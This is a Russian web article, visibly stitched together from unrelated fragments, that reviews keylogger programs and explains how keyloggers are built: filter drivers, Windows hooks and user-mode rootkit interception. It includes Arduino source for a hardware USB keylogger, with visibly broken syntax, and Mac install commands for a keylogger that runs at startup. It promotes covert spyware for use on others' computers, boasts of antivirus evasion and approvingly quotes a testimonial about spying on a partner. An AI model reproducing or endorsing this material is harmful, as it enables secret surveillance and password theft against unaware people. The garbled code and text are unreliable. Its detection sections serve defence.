Клавиатурный шпион: обзор 10 лучших утилит для слежения

Драйвер-фильтр

Работа кейлоггеров данного типа основана на установке драйвера, подключаемого к драйверу клавиатуры в качестве фильтра. Пример реализации фильтра клавиатуры приведен в DDK, и данный шпион является одним из самых простых в плане как реализации, так и обнаружения.

Клавиатурный шпион этого типа может быть построен по одной из двух схем:

  • драйвер-фильтр в сочетании с управляющим приложением, которое выполняет установку, загрузку и настройку драйвера. Драйвер передает информацию о нажимаемых клавишах управляющему приложению, которое производит обработку и протоколирование полученных данных;
  • полностью автономный драйвер самостоятельно ведет запись событий. В данном случае требуется только произвести первичную установку драйвера в систему, после чего установившее драйвер приложение может самоуничтожиться. Возможно решение и без приложения-инсталлятора — в этом случае драйвер устанавливается при помощи INF-файла.

В момент загрузки драйвер должен подключиться к стеку клавиатурного драйвера посредством функций IoCreateDevice и IoAttachDevice. В большинстве известных реализаций фильтр подключается к стеку устройства «\\Device\\KeyboardClass0», являющегося драйвером класса и реализующего общую функциональность для клавиатур различных типов (рис. 1).

Рис. 1

Для клавиатурного шпиона будут представлять интерес только прерывания типа IRP_MJ_READ, поскольку на основе их анализа можно получить коды клавиш. Источником этих IRP-запросов является процесс csrss.exe, а точнее — принадлежащий этому процессу поток необработанного ввода RawInputThread. Посылаемое этим потоком прерывание сначала попадает к драйверу-фильтру шпиона (шаг 1), который устанавливает свой обработчик завершения при помощи функции IoSetCompletionRoutine и передает IRP драйверу Kbdclass (шаг 2). Тот, в свою очередь, помечает IRP как ожидающий завершения и ставит в очередь. При возникновении клавиатурных событий Kbdclass извлекает из очереди ожидающий завершения IRP, вносит в его буфер информацию о нажатых клавишах и завершает IRP. А поскольку в IRP установлен адрес обработчика завершения, то будет произведен вызов этого обработчика (шаг 3). Обработчик может проанализировать содержимое буфера и передать содержащуюся там информацию системе протоколирования (шаг 4). Далее IRP возвращается в поток RawInputThread, а затем весь процесс повторяется. Естественно, что наличие корректно написанного драйвера-фильтра никак не сказывается на работе приложений и обеспечивает глобальный перехват клавиатурного ввода.

Обнаружение описанного шпиона не представляет особой сложности, — для его поиска достаточно изучить стек клавиатурного драйвера на предмет наличия неопознанных драйверов-фильтров.

Пошаговое руководство по обнаружению Keylogger и удалению его с компьютера

Нелегко обнаружить, влияет ли ваш компьютер на кейлоггер, если только это руководство не идентифицирует его. Конечно, есть инструменты и программное обеспечение для обнаружения злонамеренной угрозы, зная, как ее обнаружить вручную может пригодиться, когда дело доходит до защиты вашей личности.

Способ 1. Откройте диспетчер задач, используя комбинацию клавиш Ctrl + Alt + Delete . Перейдите к параметру процессов и найдите дубликат копии процесса с именем Winlogon. Один процесс с этим именем прекрасен, но если их два, значит, ваше устройство заражено кейлоггером.

Способ 2 : Иногда кейлоггер заражает устройство через какую-то вредоносную программу, которая автоматически устанавливается на ваше устройство, когда мы в сети. Поиск нежелательной программы на панели управления можно обнаружить кейлоггер. Вот как обнаружить нежелательную программу с панели управления:

Перейдите в меню «Пуск», выберите «Все программы» и просмотрите всю установленную программу. Если вы найдете какую-либо программу, которую вы не установили, удалите ее. Удалив ненужную программу, вам необходимо перезагрузить устройство.

Особенности выбора

Что же такое по своей сути клавиатурный шпион? Это программа, которая, строго говоря, напрямую никак не связана с клавиатурой.

Она устанавливается в память компьютера и действует на жестком диске. Часто признаков ее деятельности не видно на компьютере, если не искать их целенаправленно.

Такая программа косвенно взаимодействует с клавиатурой, то есть работает с программой на ПК, которая преобразует сигналы, поступающие на процессор в результате нажатия кнопок, в текст при печати.

То есть, направлено действие такого софта на сбор информации, вводимой через клавиатуру.

Такие утилиты бывают разного типа – с помощью некоторых можно просмотреть весь набранный с клавиатуры текст, с помощью других – только тот, что был набран в браузере или в каком либо выбранном приложении.

Некоторые программы предоставляют возможность настройки таких показателей, другие нет.

Также они отличаются друг от друга по степени скрытности. Например, деятельность одних очевидна, на Рабочем столе остается ярлык и т. д., такие программы подойдут для контроля деятельности, например, детей.

Следы присутствия и деятельности других не заметны вовсе – они действуют скрыто и подойдут для установки на чужой компьютер, когда факт установки необходимо скрыть от стороннего пользователя.

Учитывая такое разнообразие, выбрать максимально подходящий софт может быть достаточно сложно.

В данном материале представлен ТОП лучших программ, которые можно использовать для этой цели. Среди них проще выбрать подходящую.

КЕЙЛОГГЕР КАК ВРЕДОНОСНАЯ ПРОГРАММА

Наверняка многие слышали о программах-шпионах (spyware). Одними из самых распространенных как раз и являются кейлоггеры. В их основную задачу входит предварительный сбор информации (нажатия клавиш, мыши и т.д.) с последующей ее пересылкой злоумышленнику. Все это осуществляется без ведома пользователя компьютера, т.е. действия таких программ могут причинить вред. Поэтому любая продвинутая антивирусная система моментально определяет их как шпион или троян.

Какую информацию может собрать успешно подсаженный на компьютер кейлоггер? Все зависит от изощренности и навыков программирования злоумышленника. Если просто перехватывать нажатия клавиш, к нему попадут адреса сайтов и пароли к учетным записям, данные банковских карт, личная переписка и все остальное, что вводится в компьютер с клавиатуры.

Более продвинутые кейлоггеры способны на гораздо большее. К примеру, если скопировать какой-то текст или любой файл в буфер обмена, то это может моментально попасть к злоумышленнику. Или даже если навести курсор на какую-либо ссылку, кликнуть по ней, открыть файл или выполнить любое другое действие мышью — «умный» кейлоггер сможет считать, зарегистрировать и отправить всю собранную информацию, куда ему приказано создателем.

Другими словами, вредоносные программы-кейлоггеры — одни из самых опасных вирусов для незащищенных пользователей в плане сохранности их личной жизни за компьютером. Но гораздо более значимый ущерб они могут нанести корпоративным пользователям при заражении офисных компьютеров. Угроза настолько велика, что сегодня разрабатываются специальные антивирусы, «профессионально занимающиеся вылавливанием» шпионского программного обеспечения и кейлоггеров в частности.

Принципы построения кейлоггеров

  Большинство современных вредоносных программ представляет собой гибридные угрозы, в которых используется множество технологий, поэтому почти в любой категории вредоносных программ могут быть программы, одной из функций которых является слежение за клавиатурным вводом. На следующем графике показана динамика роста числа шпионских программ, ежемесячно обнаруживаемых «Лабораторией Касперского». Большинство этих программ используют технологии кейлоггеров.

  Принципиальная идея кейлоггера состоит в том, чтобы внедриться между любыми двумя звеньями в цепи прохождения сигнала от нажатия пользователем клавиш на клавиатуре до появления символов на экране — это может быть видеонаблюдение, аппаратные «жучки» в самой клавиатуре, на проводе или в системном блоке компьютера, перехват запросов ввода-вывода, подмена системного драйвера клавиатуры, драйвер-фильтр в клавиатурном стеке, перехват функций ядра любым способом (подменой адресов в системных таблицах, сплайсингом кода функции и т.п.), перехват функций DLL в пользовательском режиме, наконец, опрос клавиатуры стандартным задокументированным способом.

  Однако практика показывает, что чем сложнее подход, тем менее вероятно его применение в широкораспространяемых троянских программах и более вероятно его использование в целевых троянцах для кражи корпоративной финансовой информации.

  Все кейлоггеры можно условно разделить на аппаратные и программные. Первые представляют собой небольшие устройства, которые могут быть закреплены на клавиатуре, проводе или в системном блоке компьютера. Вторые — это специально написанные программы, предназначенные для отслеживания нажатий клавиш на клавиатуре и ведения журнала нажатых клавиш.

  Наиболее популярные технические подходы к построению программных кейлоггеров:

  • системная ловушка на сообщения о нажатии клавиш клавиатуры (устанавливается с помощью функции WinAPI SetWindowsHook, для того чтобы перехватить сообщения, посылаемые оконной процедуре, — чаще всего пишется на C);
  • циклический опрос клавиатуры (с помощью функции WinAPI Get(Async)KeyState, GetKeyboardState — чаще всего пишется на VisualBasic, реже на Borland Delphi);
  • драйвер-фильтр стека клавиатурных драйверов ОС Windows (требует специальных знаний, пишется на C).

  Мы очень детально рассмотрим различные методы построения кейлоггеров во второй части нашей статьи. Пока же приведем немного статистики.

  Примерное распределение указанных типов кейлоггеров показано на следующей диаграмме:

  В последнее время отмечается тенденция использования в кейлоггерах методов сокрытия (маскировки) своих файлов — так, чтобы их нельзя было найти вручную или с помощью антивирусного сканера. Такие методы принято называть rootkit-технологиями. Можно выделить два основных типа технологий сокрытия, используемых кейллоггерами:

  • с использованием методов сокрытия пользовательского режима (UserMode);
  • с использованием методов сокрытия режима ядра операционной системы (KernelMode).

  Примерное распределение используемых кейлоггерами технологий сокрытия показано на следующей диаграмме:

All In One Keylogger

Простой в использовании и достаточно мощный кейлоггер All In One Keylogger обеспечивает всем необходимым функционалом для отслеживания действий за компьютером.

Из основных функций отметим:

  • Отслеживание нажатий клавиш с возможностью включения/выключения регистрации несимвольных (CTRL, SHIFT, ALT и т.д.) клавиш.
  • Отслеживание отправленных/принятых сообщения мессенджерах с удобным хранением логов переписок в Skype, QIP, Yahoo, ISQ, Live Messenger, AIM и других.
  • Регистрация данных, заносимых в буфер обмена (CTRL+C).
  • Настройка приложений, в которых не будут отслеживаться действия пользователя и наоборот.
  • Создание скриншотов (снимков экрана) по времени, при каждом клике мышью, клавиш Tab или Enter. Имеется возможность настройки качества снимков, автоматического уменьшения размеров и других параметров.
  • Запись звука с микрофона и видео с веб-камер (если подключены к компьютеру).
  • Различные настройки ведения логов — включение, выключение и удаление по времени и другим параметрам, отправка на электронную почту, FTP-сервер, сетевую папку на компьютер в локальной сети, USB-диск в соответствии с различными условиями.
  • Различные способы скрытия следов пребывания программы на компьютере — самоудаление в установленное время, скрытие процесса в «Диспетчере задач», удаление записей из системных журналов и другие.
  • Защита доступа в программу паролем, открытие окна приложения по заданной комбинации клавиш или путем набора пароля с клавиатуры в любом месте (другом открытом окне, рабочем столе и т.д.).
  • Хранение логов в зашифрованном виде (их можно просматривать только в самой программе). Но при необходимости логии могут быть экспортированы в различные типы файлов — текстовые, HTML, изображения и т.д.

Кейлоггер All In One Keylogger работает во всех версиях Windows, начиная с Win 2000 (32-бит и 64-бит). Интерфейс не имеет поддержки русского языка. Бесплатная версия программы не имеет функциональных ограничений, но работает только в течение одной недели с момента установки.

Особенность №1: незаметность

Одна из главных особенностей Mipko Personal Monitor — абсолютная незаметность при работе. Программа действует, как невидимка. И даже опытный пользователь ее не обнаружит.

При этом кейлоггер фиксирует любые действия пользователя на компьютере. Соответствующие отчеты вы получаете на электронную почту. При этом отчеты отправляются напрямую, минуя наши или какие-либо другие промежуточные серверы.

Дополнительно вся информация хранится на жестком диске компьютера. Правда, «закопана» она очень глубоко и точный путь к нужно папке знаете лишь вы. Мало того, все отчеты хранятся в зашифрованном виде и посмотреть их можно лишь через Mipko Personal Monitor.

Сколько места на жестком диске занимают эти отчеты? Столько, сколько вы сами считаете нужным. Соответствующий лимит вы задаете в настройках программы и лимит исчерпан, то кейлоггер просто стирает старые отчеты, записывая вместо них новые.

У меня не происходило никаких интересных историй связанный с программой, но зато она помогает мне найти в истории давно введенные пароли, так вот недавно восстановил доступ к ресурсу (забыл логин). Очень полезная программа, отличная разработка, такую не часто встретишь, а еще у вас отличная техподдержка!

Edward Tarshikov

Исходный код

keylogger.ino
#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
#include <avr/pgmspace.h>
// библиотека для работы с протоколом USB
#include <usbdrv.h>
// библиотека для работы с Serial-портом
#include <uart.h>
 
// PID      8 бит идентификатор
// ADDR     7 бит адрес устройства
// Endpoint 4 бита номер конечной точки
// CRC      5 бит контрольная сумма
// итого 3 байта
#define IN_SIZE       3
 
// PID  8 бит идентификатор
// DATA 64 бита данные
// CRC  16 бит контрольная сумма
// итого 11 байт
#define USB_BUFSIZE   11
 
// количество принятых пакетов хранимых в памяти
// должно быть четным и соблюдаться условие
// (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255
#define FIFO_BUF_SIZE 10
 
// RX буфер: 3 байта запроса IN + 11 байт данных DATAx
unsigned char usbRxBufUSB_BUFSIZE;
 
unsigned char FIFOBuf(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE;
 
// номер текущей записываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurWritePos = ;
// номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurReadPos  = ;
 
// массив символов для декодирования скан-кодов при не нажатой клавиши Shift
unsigned char masskey = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./";
 
// массив символов для декодирования скан-кодов при зажатой клавиши Shift
unsigned char masskeyShift = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?";
 
void setup()
{
  // открываем последовательный порт
  Serial.begin(115200);
  // настраиваем прерывание
  usbInit();
  // печатаем о готовности устройства
  Serial.print("UART init complet");
  // разрешаем прерывания
  sei();
}
 
void loop()
{
  // если сработало прерывание
  // то переменная CurWritePos изменит своё значение
  if (CurWritePos != CurReadPos) {
    // вызываем функцию printResult
    printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE);
    CurReadPos++;
    if (CurReadPos >= FIFO_BUF_SIZE) {
    CurReadPos = ;
    }
  }
}
 
void printResult(uchar *datakey, uchar len)
{
  bool shift = ;
  // если во время очередного нажатия на клавишу
  // была нажата кнопка Shift
  if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
  shift = 1;
  else
  shift = ;
  // если 4 или 3 байт из массива данных пришёл не нулевой
  // значит нажата одна из клавиш
  if (*(datakey + 4) != ) {
  // вызываем функцию печати 2-го символа
  printKey(*(datakey + 4), shift);
  } else if (*(datakey + 3) != ) {
         // вызываем функцию печати 1-го символа
         printKey(*(datakey + 3), shift);
         }
}
 
void printKey(uchar key, bool shift)
{
  // если нажата одна из клавиш английского алфавита
  if (key >= 0x4 && key <= 0x27) {
    // если нажат Shift декодируем скан-коды как заглавные буквы
    if (shift == 1) {
      Serial.write(masskeyShiftkey-4);
    } else {
      // если нет декодируем скан-коды как строчные буквы
      Serial.write(masskeykey-4);
    }
  } else if (key == 0x28) {
    // если пришел скан-код клавиши Enter
    Serial.print("\r\n");
  } else if (key == 0x2B) {
    // если пришел скан-код клавиши Tab
    Serial.print("\t");
  } else if (key == 0x2C) {
    // если пришел скан-код клавиши Space
    Serial.print(" ");
  } else if (key >= 0x2d && key <= 0x38) {
    // если пришел сканд-код из знаков пунктуации
    if (shift == 1)
    Serial.write(masskeyShiftkey - 9);
    else
    Serial.write(masskeykey - 9);
  } else {
    // если пришёл скан-код которого мы не знаем
    // печатаем его без декодирования
    printHex(key);
  }
}

Так как данные передается на очень высокой скорости, то для его захвата и анализа используются ассемблерные вставки, которые подключаются с помощью библиотеки V-USB, которая в своем составе содержит функции приема и обработки USB сигнала.

Онлайн-мониторинг компьютеров

Удаленный мониторинг компьютеров в реальном времени позволит увидеть, чем заняты сотрудники в настоящий момент, какие сайты открывают, какие приложения используют. Программа для отслеживания компьютера автоматически сигнализирует о совершаемых нарушениях рабочего распорядка по установленным заранее правилам.

Только у нас: с помощью интуитивно понятного интерфейса «Квадратор» можно одновременно вести удаленный мониторинг неограниченного количества компьютеров, формировать списки и переключаться между ними, распределять уровни доступа к просмотру экранов разных сотрудников и подразделений.

  • Онлайн-трансляции мониторов
  • Контроль рабочего времени сотрудников
  • Выявление нарушений рабочего распорядка

Алгоритм

  • Сразу после подачи питания настраиваем пин платы Iskra Mini, к которому подключен сигнал , на прерывание по восходящему фронту.
  • Как только прерывание сработает, запишем все входящие данные в массив.
  • Среди пришедших данных вычленяем 2 скан-кода — байта:

    • первый несёт информацию о нажатии модификационных клавиш, в нашем случае нас интересует ;
    • второй несёт информацию о значении нажатой клавиши.
  • Декодируем скан-код нажатой клавиши в соответствии с таблицей скан-кодов в зависимости от того нажата ли была клавиша .
  • Выводим нажатую клавишу в Serial-порт.
  • Плата ESP8266 считывает все пришедшие данные со своего Serial-порта и выводит их в заранее созданный TCP-сервер.

Программы для поиска и удаления клавиатурных шпионов

  1. Любой антивирусный продукт. Все антивирусы в той или иной мере могут находить клавиатурные шпионы, однако клавиатурный шпион не является вирусом, поэтому пользы от антивируса мало.
  2. Утилиты, реализующие механизм сигнатурного поиска и эвристические механизмы поиска. Примером может служить утилита AVZ, сочетающая сигнатурный сканер и систему обнаружения клавиатурных шпионов на базе ловушек.
  3. Специализированные утилиты и программы, предназначенные для обнаружения клавиатурных шпионов и блокирования их работы. Подобные программы наиболее эффективны для обнаружения и блокирования клавиатурных шпионов, поскольку, как правило, могут блокировать практически все разновидности клавиатурных шпионов.

Из специализированных программ интерес могут представлять коммерческие продукты PrivacyKeyboard и Anti-Keylogger (http://www.bezpeka.biz/). Интерфейс программы Anti-Keylogger показан на рис. 2.

Рис. 2

Программа Anti-Keylogger работает в фоновом режиме и производит обнаружение программ, подозреваемых в слежении за клавиатурой. В случае необходимости можно вручную разблокировать работу любой из обнаруженных программ (например, на рисунке видно, что в список шпионов попали MSN Messanger и программа закачки из Интернета FlashGet). Для обнаружения клавиатурных шпионов не применяются базы сигнатур, обнаружение ведется эвристическими методами.

Тестирование программы показало, что она эффективно противодействует клавиатурным шпионам, работа которых основана на применении ловушек, циклического опроса и клавиатурного драйвера-фильтра.

Другим примером может служить программа Advanced Anti-Keylogger (http://www.anti-keylogger.net/)  рис. 3.

Рис. 3

В режиме обучения данная программа по логике работы напоминает брандмауэр  при обнаружении подозрительной активности выводится предупреждение с указанием имени и описания программы. Пользователь может выбрать действие на сеанс (разрешить, запретить) или создать постоянное правило для приложения. В ходе тестов Advanced Anti-Keylogger уверенно обнаружил все основные разновидности клавиатурных шпионов (на базе ловушки, циклического опроса, драйвера-фильтра). Настройки программы защищаются паролем, который задается в ходе инсталляции.

Слежение за клавиатурным вводом при помощи ловушек

анная методика является классической для клавиатурных шпионов, а суть ее заключается в применении механизма ловушек (hook) операционной системы. Ловушки позволяют наблюдать за сообщениями, которые обрабатываются окнами других программ. Установка и удаление ловушек производятся при помощи хорошо документированных функций библиотеки user32.dll (функция SetWindowsHookEx позволяет установить ловушку, UnhookWindowsHookEx  снять ее). При установке ловушки указывается тип сообщений, для которых должен вызываться обработчик ловушки. В частности, существует два специальных типа ловушек: WH_KEYBOARD и WH_MOUSE для регистрации событий клавиатуры и мыши соответственно. Ловушка может быть установлена для заданного потока и для всех потоков системы, причем последнее очень удобно для построения клавиатурного шпиона.

Код обработчика событий ловушки должен быть расположен в DLL. Это требование связано с тем, что DLL с обработчиком ловушки проецируется системой в адресное пространство всех GUI1 -процессов. Интересной особенностью является то, что проецирование DLL происходит не в момент установки ловушки, а при получении GUI-процессом первого сообщения, удовлетворяющего параметрам ловушки.

На прилагаемом к журналу компакт-диске имеется демонстрационный клавиатурный шпион, построенный на основе ловушки. Он регистрирует клавиатурный ввод во всех GUI-приложениях и дублирует вводимый текст на своем окне. Данный пример можно использовать для тестирования программ, противодействующих клавиатурным шпионам.

Методика ловушек весьма проста и эффективна, но у нее есть ряд недостатков. Одним из них можно считать то, что DLL с ловушкой проецируется в адресное пространство всех GUI-процессов, что может применяться для обнаружения клавиатурного шпиона. Кроме того, регистрация событий клавиатуры возможна только для GUI-приложений  это легко проверить при помощи демонстрационной программы.

1 GUI (Graphical User Interface)  графический интерфейс пользователя.

Особенность №3: дружба с антивирусами

Кейлоггер Mipko Personal Monitor — это программа-наблюдатель. Она не сохраняет никакие личные данные пользователей. Не ворует их. Она лишь мониторит за тем, что происходит на компьютере и отчитывается об этом перед владельцем.

Мало того, установить это ПО может только администратор, у которого есть соответствующий пароль. Это является дополнительным аргументом, который делает keylogger абсолютно законно установленной программой.

Поэтому юридически не является шпионом или другим приложением, которое квалифицируется, как вредоносное. Так что с антивирусами Personal Monitor дружит и в 95% случаев остается незамеченной.

Как быть в оставшихся 5% случаев? Если вы столкнулись с блокировкой работы Personal Monitor со стороны антивируса или у вас возникли проблемы с установкой, то просто позвоните или напишите нам. И мы вам вышлем подробную пошаговую инструкцию по разрешению данной ситуации.

Давным-давно когда я еще работал админом, я пользовал крякнутую вашу программу для целей отслеживания работы сотрудников компании. Мне очень нравилось простое использование и интерфейс 🙂 Спустя несколько лет, я купил однопользовательскую программу, чтобы… следить за своей девушкой! Она попалась на измене, и в итоге эта программа сделала меня счастливым холостяком 😉

Андрей П.

Клавиатурный шпион на базе руткит-технологии в UserMode

Принцип действия такого клавиатурного шпиона основан на перехвате ряда функций USER32.DLL для мониторинга их вызовов. Данные вредоносные программы пока не получили особого распространения, но это только вопрос времени. Опасность применения руткит-технологии в клавиатурном шпионе объясняется тем, что, во-первых, многие антикейлоггеры не рассчитаны на поиск шпионов такого типа и не способны им противодействовать, а во-вторых, антируткиты часто не проверяют перехваты функций библиотеки user32.dll.

Принцип работы шпиона достаточно прост: при помощи любой из известных руткит-технологий производится перехват одной или нескольких функций, позволяющих получить контроль над вводимой с клавиатуры информацией. Самым простым является перехват функций GetMessage и PeekMessage (рис. 2).

Рис. 2

Работа шпиона организована следующим образом. Приложение вызывает функцию PeekMessage для того, чтобы узнать, есть ли в очереди сообщения указанного типа. Этот вызов перехватывается по руткит-принципу (методика в данном случае не имеет значения). Затем перехватчик вызывает реальную функцию PeekMessage из user32.dll и анализирует возвращаемые результаты. Если функция возвращает true, это означает, что сообщение было в очереди и что оно извлечено в тот буфер, указатель на который передается в качестве первого параметра функции. В этом случае перехватчик проверяет сообщения в буфере на предмет обнаружения сообщений типа WM_KEYDOWN (нажатие клавиши), WM_KEYUP (отпускание клавиши), WM_CHAR (посылается окну после обработки WM_KEYDOWN при помощи TranslateMessage). При выявлении подобного сообщения можно узнать код нажимаемой клавиши и передать его системе протоколирования и анализа (шаг 4). Далее управление возвращается приложению (шаг 5), которое не знает о наличии перехватчика.

Подобный клавиатурный шпион очень опасен, так как:

  • он не обнаруживается стандартными методиками поиска клавиатурных шпионов;
  • возможно внедрение перехватчика по определенным условиям, в результате чего он внедряется не во все GUI-процессы, а в строго определенные (например, в процессы браузера или в приложение типа WebMoney);
  • против него бесполезны экранные клавиатуры и прочие средства борьбы с клавиатурными шпионами;
  • кроме перехвата функций PeekMessage и GetMessage, могут быть перехвачены функции копирования информации при работе с буфером обмена (OpenClipboard, CloseClipboard, GetClipboardData, SetClipboardData), опроса состояния клавиатуры (GetKeyState, GetAsyncKeyState, GetKeyboardState) и другие функции user32.dll, что усиливает опасность шпиона, а перехват функций типа CreateWindow позволяет отслеживать создание окон.

Пример клавиатурного шпиона

В настоящее время сотни клавиатурных шпионов, рассмотрим в качестве примера достаточно распространенную коммерческую программу ActualSpy (http://www.actualspy.ru). Данная программа может регистрировать клавиатурный ввод (с регистрацией заголовка окна и имени программы), снимать скриншоты экрана по расписанию, регистрировать запуск/останов программ, следить за буфером обмена, принтером, создаваемыми пользователем файлами. Кроме того, в программе реализовано слежение за Интернет-соединениями и посещаемыми сайтами. ActualSpy выбран в качестве примера

Программа имеет простейшую маскировку от обнаружения – она не видна в стандартном списке задач Windows. Для анализа собранной информации программа формирует протоколы в формате HTML. Принцип работы программы ActualSpy основан на ловушке, регистрирующей события клавиатуры.

В качестве других примеров могут выступить SpyAgent (http://www.spytech-web.com), ActMon (http://www.actmon.com),SpyBuddy (http://www.actmon.com), PC Activity Monitor (http://www.keyloggers.com), KGB Spy (http://www.refog.ru/)…. Этот список можно продолжать очень долго, однако в большинстве случаев современные клавиатурные шпионы имеют примерно одинаковую базовую функциональность и различаются сервисными функциями и качеством маскировки в системе.

Mac

Это немного сложнее

Обратите внимание, что оно не работает для защищенных областей, таких как ввод пароля

Загрузите репозиторий. Он установиться в / usr / local / bin / keylogger.

Установите его:

 # git clone https://github.com/GiacomoLaw/Keylogger && cd keylogger 
 # make && make install 

Он будет писать данные в  /var/log/keystroke.log.

Для этого может потребоваться root-доступ, но вы можете изменить эту опцию по умолчанию, если хотите.

Установите путь к файлу, где вы хотите, чтобы он логировал:

 # keylogger ~/logfile.txt 
 Logging to: /var/log/keystroke.log 

Хотите запустить его при запуске системы?

 #  sudo make startup 

Это запустит его при старте.

Вывод

Выбор наиболее оптимальной программы зависит от того, какие цели преследует ее установка на компьютере.

Если целью ставится просто изучить особенности работы кейлогеров и собрать минимальную информацию о вводимых данных, то подойдут Golden Keylogger 1.32, SC-KeyLog, NS Keylogger Personal Monitor.

Особенно в случаях, если устанавливаются они на домашнем компьютере.

В том случае, если стоит цель более серьезного мониторинга и сбора паролей, то можно отдать предпочтение платным программам, таким например, как EliteKeylogger и Actual Spy.

Лучшей по соотношению цены и функционала платной программой можно назвать EliteKeylogger. Она также является наиболее стабильной и функциональной в этом ТОПе.

Совет! Для ознакомления с принципами разработки таких программ, а также при желании работать исключительно с легальным софтом, скачайте и установите The Rat!.

Лучшей, наиболее стабильной и функциональной программой среди бесплатных, можно назвать SC-KeyLog. Также неплохими характеристиками обладает Ardamax Keylogger.         

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector